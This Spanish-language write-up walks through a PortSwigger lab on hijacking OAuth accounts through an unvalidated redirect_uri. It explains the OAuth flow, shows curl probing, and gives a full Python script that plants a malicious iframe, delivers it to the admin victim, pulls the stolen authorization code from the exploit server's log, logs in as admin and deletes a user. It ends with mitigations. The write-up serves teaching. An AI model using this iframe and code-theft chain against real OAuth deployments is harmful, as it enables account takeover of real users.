Secuestro de Cuenta OAuth mediante redirect_uri

Descripción del Lab (contiene spoilers)

OAuth · Lab de Portswigger ↗

Este lab utiliza un servicio OAuth para permitir a los usuarios iniciar sesión con su cuenta de redes sociales. Una mala configuración del proveedor OAuth hace posible que un atacante robe códigos de autorización asociados a las cuentas de otros usuarios. Para resolver el lab, roba un código de autorización asociado al usuario admin, luego úsalo para acceder a su cuenta y eliminar al usuario `carlos`. El usuario admin abrirá cualquier cosa que envíes desde el servidor de exploits y siempre tiene una sesión activa con el servicio OAuth. Puedes iniciar sesión con tu propia cuenta de redes sociales usando las siguientes credenciales: `wiener:peter`

4 de marzo de 2025

Conceptos Previos Necesarios Para Resolver El Lab

Entendiendo OAuth 2.0 y Flujos de Autorización

¿Qué es OAuth 2.0?

OAuth 2.0 es un marco de autorización (framework) que permite a aplicaciones de terceros acceder a los recursos de un usuario sin exponer sus credenciales. En lugar de compartir contraseñas, OAuth usa códigos de autorización y tokens de acceso para otorgar acceso limitado.

Piensa en OAuth como darle a alguien una llave de valet temporal para tu coche:

  • Sin OAuth: Le das a alguien tu llave principal del coche (contraseña). Pueden conducir tu coche, abrir el maletero, acceder a la guantera. Básicamente todo. Si la pierden o la roban, tienen acceso completo a tu coche.

  • Con OAuth: Les das una llave de valet especial (token de acceso) que solo abre la puerta del conductor y arranca el motor. No pueden acceder al maletero o guantera. La llave expira después de poco tiempo, y solo funciona para coches específicos (permisos limitados).

Las partes clave en un flujo OAuth son:

  • Resource Owner: El usuario que posee los datos (ej., el admin)
  • Client Application: El sitio web que quiere acceder a los datos del usuario (ej., el blog)
  • OAuth Provider (Authorization Server): El servicio que autentica al usuario y emite tokens (ej., el servidor de login de redes sociales)

Ejemplo real: Cuando haces clic en “Iniciar sesión con Google” en un sitio web, ese sitio web es la Client Application, Google es el OAuth Provider, y tú eres el Resource Owner. El sitio web nunca ve tu contraseña de Google. Solo obtiene un token temporal para acceder a información básica del perfil.

El Flujo de Código de Autorización

El flujo OAuth más común funciona así:

Desglose paso a paso:

  1. Usuario hace clic en “Iniciar sesión con Redes Sociales” en la aplicación cliente (ej., hacer clic en “Iniciar sesión con Google” en un blog)

  2. La aplicación cliente redirige al usuario al endpoint /auth del proveedor OAuth con varios parámetros:

    • client_id: identifica la aplicación cliente (como “este es el sitio web del blog”)
    • redirect_uri: dónde enviar al usuario después de la autorización (como “enviarlo de vuelta a https://.com/oauth-callback”)
    • response_type=code: solicita un código de autorización (no acceso directo)
    • scope: qué permisos se solicitan (como “solo necesito tu email y foto de perfil”)
  3. Usuario se autentica con el proveedor OAuth (ingresa sus credenciales de Google/Facebook)

  4. Usuario consiente los permisos solicitados (ve una pantalla como “¿Permitir que este blog acceda a tu email y perfil?”)

  5. El proveedor OAuth redirige al usuario de vuelta al redirect_uri con un código de autorización:

    https://<blog>.com/oauth-callback?code=XYZ123ABC

    Esto es como obtener un recibo que dice “el usuario aprobó esta solicitud”

  6. La aplicación cliente intercambia el código por un token de acceso (del lado del servidor, el blog envía el código de vuelta a Google diciendo “aquí está el recibo, ahora dame la llave real”)

  7. La aplicación cliente usa el token de acceso para acceder a los recursos del usuario (el blog ahora puede obtener la información del perfil del usuario de Google usando la llave temporal)

¿Por qué este proceso de dos pasos? El código de autorización es de corta duración y de un solo uso. Incluso si un atacante lo intercepta, solo puede usarlo una vez y expira rápidamente. El token de acceso es lo que realmente otorga acceso, pero se envia entre servidores, nunca expuesto al navegador del usuario.

Validación de redirect_uri en OAuth

¿Por qué es Crítica la Validación de redirect_uri?

El parámetro redirect_uri especifica dónde el proveedor OAuth debe enviar el código de autorización después de la autenticación del usuario. Sin validación estricta, un atacante puede modificar este parámetro para apuntar a un servidor que controla. Cuando la víctima se autentica, su código de autorización es interceptado por el atacante en lugar de ser entregado a la aplicación legítima.

En términos de OAuth:

  • Seguro: El proveedor OAuth solo redirige a URLs pre-registradas (como https://<blog>.com/oauth-callback)
  • Vulnerable: El proveedor OAuth redirige a cualquier URL que el atacante proporcione (como https://<attacker-site>.com/steal-code)

¿Por qué es tan peligroso? Los códigos de autorización son bearer tokens. Quien tenga el código puede intercambiarlo por acceso a la cuenta de la víctima. Es como encontrar las llaves del coche de alguien. Si las tienes, puedes conducir el coche.

Resolución

Primero exploremos el lab y entendamos la estructura de la aplicación:

curl -s "https://<lab-url>.web-security-academy.net/" | cat

Desglose del comando:
-s = modo silencioso (sin barra de progreso)
| cat = redirigir la respuesta a mi comando cat personalizado para una visualización con estilo

La página principal es un blog. En la cabecera de navegación encontramos:

<a href=/>Home</a><p>|</p>
<a href="/my-account">My account</a><p>|</p>

También hay un enlace al servidor de exploits en el banner del lab:

<a id='exploit-link' class='button' target='_blank'
  href='https://exploit-<id>.exploit-server.net'>Go to exploit server</a>

Sigamos el enlace “My account” para ver el flujo de login OAuth:

curl -s -D - "https://<lab-url>.web-security-academy.net/my-account"

Desglose del comando:
-D - = mostrar cabeceras de respuesta en stdout

Respuesta:

HTTP/2 302
location: /social-login
set-cookie: session=KR7wbkOJP0jNRcaY6qaYPycEHmWmJILP; Secure; HttpOnly; SameSite=None

Redirige a /social-login. Sigamos la redirección:

curl -s "https://<lab-url>.web-security-academy.net/social-login" \
  -b "session=KR7wbkOJP0jNRcaY6qaYPycEHmWmJILP"

La página contiene una etiqueta meta refresh que redirige al proveedor OAuth:

<meta http-equiv=refresh content='3;url=https://oauth-<oauth-id>.oauth-server.net/auth?client_id=bow9iv6dj8fca1ourlao4&redirect_uri=https://<lab-url>.web-security-academy.net/oauth-callback&response_type=code&scope=openid%20profile%20email'>
<p>We are now redirecting you to login with social media...</p>

Esto nos dice todo sobre la configuración OAuth:

Sigamos el flujo OAuth completo manualmente. Primero, accedamos al endpoint de autorización OAuth:

curl -s -D - "https://oauth-<oauth-id>.oauth-server.net/auth?client_id=bow9iv6dj8fca1ourlao4&redirect_uri=https://<lab-url>.web-security-academy.net/oauth-callback&response_type=code&scope=openid%20profile%20email"

Respuesta:

HTTP/2 302
location: /interaction/GSVAlvgrDIqNcFSmMcpkd
set-cookie: _interaction=GSVAlvgrDIqNcFSmMcpkd; ...

El servidor OAuth redirige a una página de interacción (el formulario de login). Después de iniciar sesión con wiener:peter y confirmar el consentimiento, el servidor OAuth redirige de vuelta a:

HTTP/2 302
location: https://<lab-url>.web-security-academy.net/oauth-callback?code=Gc5tqgJyU6dMHC23d7yvLoPxd3z9j2MOHU97Xc-YK33

El código de autorización se pasa en la URL al redirect_uri. Esta es la pieza crítica. Si podemos cambiar a dónde va esta redirección, podemos robar el código.

Probando la Vulnerabilidad

Probemos si el proveedor OAuth valida el parámetro redirect_uri apuntándolo a nuestro servidor de exploits:

curl -s -D - "https://oauth-<oauth-id>.oauth-server.net/auth?client_id=bow9iv6dj8fca1ourlao4&redirect_uri=https://exploit-<exploit-id>.exploit-server.net&response_type=code&scope=openid%20profile%20email"

Respuesta:

HTTP/2 302
location: /interaction/Mv8hr8rRWT08lq7hbcEqA

Sin errores en la respuesta. El servidor OAuth aceptó nuestro redirect_uri arbitrario sin ninguna validación. Esto significa que después de la autenticación, el código de autorización se enviará a cualquier URL que especifiquemos. Incluyendo nuestro servidor de exploits.

El Exploit

El plan de ataque:

  1. Crear un iframe que active el flujo OAuth con redirect_uri apuntando a nuestro servidor de exploits
  2. Alojarlo en el servidor de exploits y entregárselo a la víctima admin
  3. Cuando el navegador del admin cargue el iframe, como ya tiene una sesión activa con el proveedor OAuth, el flujo de autorización se completa automáticamente. Sin necesidad de login ni consentimiento
  4. El proveedor OAuth redirige al admin a nuestro servidor de exploits con su código de autorización en la URL
  5. Leemos el código del log de acceso del servidor de exploits
  6. Usamos el código robado para iniciar sesión como admin

Hay demasiadas peticiones para hacerlo manualmente, así que mostraré el flujo con python:

import requests
import re
import time

LAB = "https://<lab-url>.web-security-academy.net"
OAUTH = "https://oauth-<oauth-id>.oauth-server.net"
EXPLOIT = "https://exploit-<exploit-id>.exploit-server.net"

session_1 = requests.Session()

# Step 1: Extract client_id from the lab's OAuth login link
# The client_id is found in the meta refresh tag on the /my-account page
response_1 = session_1.get(f"{LAB}/my-account")

client_id = re.search(r'client_id=([a-zA-Z0-9]+)', r.text).group(1)

print(f"Found client_id: {client_id}")

# Step 2: Craft the malicious iframe
# When loaded by the victim, it will initiate an OAuth flow
# with redirect_uri pointing to our exploit server
iframe_payload = (
    f'<iframe src="{OAUTH}/auth?client_id={client_id}'
    f'&redirect_uri={EXPLOIT}'
    f'&response_type=code'
    f'&scope=openid%20profile%20email"></iframe>'
)

# Step 3: Store the exploit on the exploit server
session_1.post(f"{EXPLOIT}", data={
    "urlIs498": "/exploit",
    "responseFile": "/exploit",
    "responseHead": "HTTP/1.1 200 OK\r\nContent-Type: text/html; charset=utf-8",
    "responseBody": iframe_payload,
    "formAction": "STORE"
})

# Step 4: Deliver the exploit to the victim (admin)
session_1.post(f"{EXPLOIT}", data={
    "urlIs498": "/exploit",
    "responseFile": "/exploit",
    "responseHead": "HTTP/1.1 200 OK\r\nContent-Type: text/html; charset=utf-8",
    "responseBody": iframe_payload,
    "formAction": "DELIVER_TO_VICTIM"
})

# Step 5: Wait for the victim to trigger the exploit
time.sleep(3)

# Step 6: Read the exploit server logs to extract the stolen code
response_2 = session_1.get(f"{EXPLOIT}/log")

stolen_code = re.search(r"code=([A-Za-z0-9_-]+)", response_2.text)

if not stolen_code:
    print("Failed to steal code")
    exit(1)

stolen_code = stolen_code.group(1)

print(f"Stolen authorization code: {stolen_code}")

# We create a new session (session_2) because we need a clean session context
# The first session (session_1) was used for exploit server interactions and contains
# cookies/state from the exploit server, not the target application
session_2 = requests.Session()

# Step 7: Use the stolen code to log in as admin
session_2.get(f"{LAB}/oauth-callback?code={stolen_code}", allow_redirects=True)

# Step 8: Access admin panel and delete carlos
response_3 = session_2.get(f"{LAB}/admin/delete?username=carlos")
print("Carlos deleted" if response_3.status_code == 200 else "Failed to delete carlos")

Desglose del script:
El script automatiza la cadena completa del exploit:

  1. Extrae el client_id de la configuración de login OAuth del lab en la página /my-account
  2. Crea un iframe que inicia un flujo OAuth con un redirect_uri manipulado apuntando al servidor de exploits del atacante
  3. Almacena y entrega el exploit a través de la funcionalidad del servidor de exploits del lab
  4. Espera a que la víctima admin cargue el iframe. Como tiene una sesión OAuth activa, el flujo se completa silenciosamente y redirige al servidor de exploits con el código de autorización
  5. Extrae el código de autorización robado de los logs de acceso del servidor de exploits
  6. Usa el código robado para completar el callback OAuth en la aplicación del blog, obteniendo una sesión de admin
  7. Elimina a carlos a través del panel de administración

Salida esperada:

Stolen authorization code: OTy3aQ-1n6qA8w5jQcqWH_parimQeFvX2PsGkVHkkNa
Carlos deleted

Los logs del servidor de exploits muestran exactamente lo que pasó cuando la víctima admin cargó nuestro iframe malicioso:

10.0.3.152  2026-03-04 16:19:08 +0000 "GET /exploit/ HTTP/1.1" 200
  "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"

10.0.3.152  2026-03-04 16:19:08 +0000 "GET /?code=OTy3aQ-1n6qA8w5jQcqWH_parimQeFvX2PsGkVHkkNa HTTP/1.1" 200
  "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"

La primera petición es la víctima cargando la página del exploit.
La segunda es el proveedor OAuth redirigiendo el navegador de la víctima a nuestro servidor con el código de autorización.
La cuenta del admin fue secuestrada con un solo iframe, aniquilando a carlos en el proceso.

Mitigación

  1. Validar estrictamente redirect_uri: El proveedor OAuth debe forzar una coincidencia exacta entre el redirect_uri registrado y el proporcionado en la petición de autorización. Nunca se debe permitir coincidencia parcial o con comodines
  2. Usar el parámetro state: Incluir un parámetro state criptográficamente aleatorio en las peticiones de autorización y validarlo en el callback. Esto previene ataques CSRF y hace más difícil usar códigos robados
  3. Usar PKCE (Proof Key for Code Exchange): PKCE añade un mecanismo de verificador/challenge que vincula el código de autorización al cliente que inició el flujo, haciendo los códigos robados inútiles sin el verificador original
  4. Códigos de autorización de corta duración: Los códigos de autorización deben expirar rápidamente (en segundos) y ser de un solo uso para minimizar la ventana de explotación
  5. Registrar URIs de redirección exactas: Las aplicaciones cliente deben registrar URIs de redirección específicas y completas con el proveedor OAuth. Nunca usar coincidencia de patrones ni permitir URIs de redirección dinámicas